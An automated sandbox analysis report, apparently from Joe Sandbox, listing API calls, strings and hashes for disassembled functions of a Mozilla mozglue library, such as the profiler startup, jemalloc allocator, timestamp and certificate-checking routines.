Opcode Fuzzy Hash: 70e542b0c01fab2fb1908c5e6ab3653d1ff4532a6abc98cd1f9a7fa492069a36
Instruction Fuzzy Hash: 8821F972745214ABDB14EB24DC94BAE73B9AB4A704FE0011AF907A7B80DB70DE10C7A1

Function 6C943060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C943095

Part of subcall function 6C9435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CF688,00001000), ref: 6C9435D5
Part of subcall function 6C9435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9435E0
Part of subcall function 6C9435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9435FD
Part of subcall function 6C9435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C94363F
Part of subcall function 6C9435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C94369F
Part of subcall function 6C9435A0: __aulldiv.LIBCMT ref: 6C9436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C94309F

Part of subcall function 6C965B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9656EE,?,00000001), ref: 6C965B85
Part of subcall function 6C965B50: EnterCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965B90
Part of subcall function 6C965B50: LeaveCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965BD8
Part of subcall function 6C965B50: GetTickCount64.KERNEL32 ref: 6C965BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9430BE

Part of subcall function 6C9430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C943127
Part of subcall function 6C9430F0: __aulldiv.LIBCMT ref: 6C943140

Part of subcall function 6C97AB2A: __onexit.LIBCMT ref: 6C97AB30

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 51a7326be6f4803dcbd6baf6fd4e4f23d8af353091a10e21185990b29861f5db
Instruction ID: ae787f4062a35d5c22fae3da3df421f8bdfd422eb47e60d46d6ba66cd1272a4a
Opcode Fuzzy Hash: 51a7326be6f4803dcbd6baf6fd4e4f23d8af353091a10e21185990b29861f5db
Instruction Fuzzy Hash: DBF0F952E2874C96CB10DF7489411E67770AF7B11CF605319E88557651FB20E3DC83D1

Non-executed Functions

Function 6C955440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C955492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9554A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9554BE
__Init_thread_footer.LIBCMT ref: 6C9554DB

Part of subcall function 6C97AB3F: EnterCriticalSection.KERNEL32(6C9CE370,?,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284), ref: 6C97AB49
Part of subcall function 6C97AB3F: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97AB7C

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9554F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C955516
GetCurrentThreadId.KERNEL32 ref: 6C95556A
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C955577
moz_xmalloc.MOZGLUE(00000070), ref: 6C955585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C955590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9555E6
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C955606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C955616

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

GetCurrentThreadId.KERNEL32 ref: 6C95563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C955646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C95567C
free.MOZGLUE(?), ref: 6C9556AE

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9556E8
GetCurrentThreadId.KERNEL32 ref: 6C955707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C95570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C955729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C95574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C95576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C955796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9557B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9557CA

Strings

- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C955CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C955766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C955791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C955C56
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C95548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C955724
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9554A3
MOZ_PROFILER_STARTUP, xrefs: 6C9555E1
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C955D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C955B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C955717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9557AE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C955D01
[I %d/%d] profiler_init, xrefs: 6C95564E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C955D1C
MOZ_BASE_PROFILER_HELP, xrefs: 6C955511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C95584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C955D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C955AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C955BBE
GeckoMain, xrefs: 6C955554, 6C9555D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9554B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9557C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C955749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9556E3

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 0697f660e7a48bc4ff4be33f66391f60b4a5e461db748f6c3bb94bc6ee69c158
Instruction ID: a431c9fa998168411bc2219c1f571965093be00a4a5bce6faebbc363bc6a7d99
Opcode Fuzzy Hash: 0697f660e7a48bc4ff4be33f66391f60b4a5e461db748f6c3bb94bc6ee69c158
Instruction Fuzzy Hash: 7A2228B1A083409FEB00EF74C45865A7BB8FF9630CF944929E94A97B82E734D564CB53

Function 6C98B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98B845
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000), ref: 6C98B852
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98B884
InitializeConditionVariable.KERNEL32(?), ref: 6C98B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C98B9FD
GetCurrentThreadId.KERNEL32 ref: 6C98BA05
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000), ref: 6C98BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C98BA27
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98BA4B
free.MOZGLUE(?), ref: 6C98C9C7
free.MOZGLUE(?), ref: 6C98C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C98C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C98C7DA

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 5c488840cc9e6bdc6cedd0c5ce37ce99324ee2662c147c03ebbf219b72f9629f
Instruction ID: 985519f95e2e5a392b491bc85f5edf94c2f38cf47ea02b59a7cfa3085a9f18e8
Opcode Fuzzy Hash: 5c488840cc9e6bdc6cedd0c5ce37ce99324ee2662c147c03ebbf219b72f9629f
Instruction Fuzzy Hash: 79A29C72A093808FD725CF28C48079BB7F5BFD9718F144A2DE89997791DB70D9098B82

Function 6C956C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C956CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C956D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C956D26

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C956D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C956D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C956D73
free.MOZGLUE(00000000), ref: 6C956D80
CertGetNameStringW.CRYPT32 ref: 6C956DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C956DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C956DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C956DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C956E10
CryptMsgClose.CRYPT32(00000000), ref: 6C956E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C956E34
CreateFileW.KERNEL32 ref: 6C956EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C956F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C956F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C95709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C957103
free.MOZGLUE(00000000), ref: 6C957153
CloseHandle.KERNEL32(?), ref: 6C957176
__Init_thread_footer.LIBCMT ref: 6C957209
__Init_thread_footer.LIBCMT ref: 6C95723A
__Init_thread_footer.LIBCMT ref: 6C95726B
__Init_thread_footer.LIBCMT ref: 6C95729C
__Init_thread_footer.LIBCMT ref: 6C9572DC
__Init_thread_footer.LIBCMT ref: 6C95730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9573C2
VerSetConditionMask.NTDLL ref: 6C9573F3
VerSetConditionMask.NTDLL ref: 6C9573FF
VerSetConditionMask.NTDLL ref: 6C957406
VerSetConditionMask.NTDLL ref: 6C95740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C95741A
moz_xmalloc.MOZGLUE(?), ref: 6C95755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C957568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C957585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C957598
free.MOZGLUE(00000000), ref: 6C9575AC

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

Strings

wintrust.dll, xrefs: 6C9572CD
(, xrefs: 6C95768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9572C8
SHA256, xrefs: 6C956EC0

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 9989a1f734485199da4fd59c8a6d0ba6e4b0b441d18cf550533abaa37a45684e
Instruction ID: 50d44a4a8ababf49dd4a8cfb66c9be916895096024e2f40313cb689d6b1e265a
Opcode Fuzzy Hash: 9989a1f734485199da4fd59c8a6d0ba6e4b0b441d18cf550533abaa37a45684e
Instruction Fuzzy Hash: FA52D4B1A052149FEB21DF24CC84BAA77BCEF55708F508199E909A7640DB70EF94CFA1

Function 6C976FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C977019
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C977061
EnterCriticalSection.KERNEL32(?), ref: 6C9771A4
LeaveCriticalSection.KERNEL32(?), ref: 6C97721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C97723E
EnterCriticalSection.KERNEL32(?), ref: 6C97726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9772B2
LeaveCriticalSection.KERNEL32(?), ref: 6C97733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9773E8
LeaveCriticalSection.KERNEL32(?), ref: 6C97961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C979622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C979642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9796CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9796DB
AcquireSRWLockExclusive.KERNEL32(6C9CE804), ref: 6C979747
GetSystemInfo.KERNEL32(?), ref: 6C979792
__Init_thread_footer.LIBCMT ref: 6C9797A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9CE810,00000040), ref: 6C9797CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7B8,00001388), ref: 6C979838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE744,00001388), ref: 6C97984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE784,00001388), ref: 6C979874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7DC,00001388), ref: 6C979895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9799D2
Compile-time page size does not divide the runtime one., xrefs: 6C979B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C979BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C979993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C979933, 6C979A33, 6C979A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9799A8
<jemalloc>, xrefs: 6C979B33, 6C979BE3
MALLOC_OPTIONS, xrefs: 6C9797CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9799BD
MOZ_CRASH(), xrefs: 6C979B42

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: ab6564695b1ab549624494169dad24007828e9a74ffc05733af8dffe071ce5a8
Instruction ID: 1f26dcda4aeaa04047a066c60800a40b54494c9d9a6a5a2a83c3623ed2d8c1ec
Opcode Fuzzy Hash: ab6564695b1ab549624494169dad24007828e9a74ffc05733af8dffe071ce5a8
Instruction Fuzzy Hash: B053AF71A067018FD728CF28C580715BBE5FF85728F29C6ADE8699B791D331E841CBA1

Function 6C980DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C980F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C980F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C980FB7
EnterCriticalSection.KERNEL32(?), ref: 6C980FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C981031
LeaveCriticalSection.KERNEL32(?), ref: 6C9810D0
EnterCriticalSection.KERNEL32(?), ref: 6C98117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C981C39
EnterCriticalSection.KERNEL32(6C9CE744), ref: 6C983391
LeaveCriticalSection.KERNEL32(6C9CE744), ref: 6C9833CD
LeaveCriticalSection.KERNEL32(?), ref: 6C983431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C983437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9837D2
Compile-time page size does not divide the runtime one., xrefs: 6C983946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C983A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C983793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C983559, 6C98382D, 6C983848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9837A8
<jemalloc>, xrefs: 6C983941, 6C9839F1
MALLOC_OPTIONS, xrefs: 6C9835FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9837BD
MOZ_CRASH(), xrefs: 6C983950

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 3c503aa59a0eedbf4e61ca16759f37b27fdbe94f039f99526143b4fdcb6cc72e
Instruction ID: 17192505a8b30fa51765f9f0a770ef2afc3b531464251f20079dc408ae8fa2eb
Opcode Fuzzy Hash: 3c503aa59a0eedbf4e61ca16759f37b27fdbe94f039f99526143b4fdcb6cc72e
Instruction Fuzzy Hash: 14539E71A067018FC704CF29C540615FBE5BF8A728F29CAADE8699BB91D771E841CB81

Function 6C9A55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C97E1A5), ref: 6C9A5606
LoadLibraryW.KERNEL32(gdi32,?,6C97E1A5), ref: 6C9A560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9A5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9A563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9A566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9A567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9A5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9A56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9A56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9A56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9A56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9A5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9A572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9A5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9A5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9A577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9A5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9A57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9A57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9A57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9A57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9A57FF

Strings

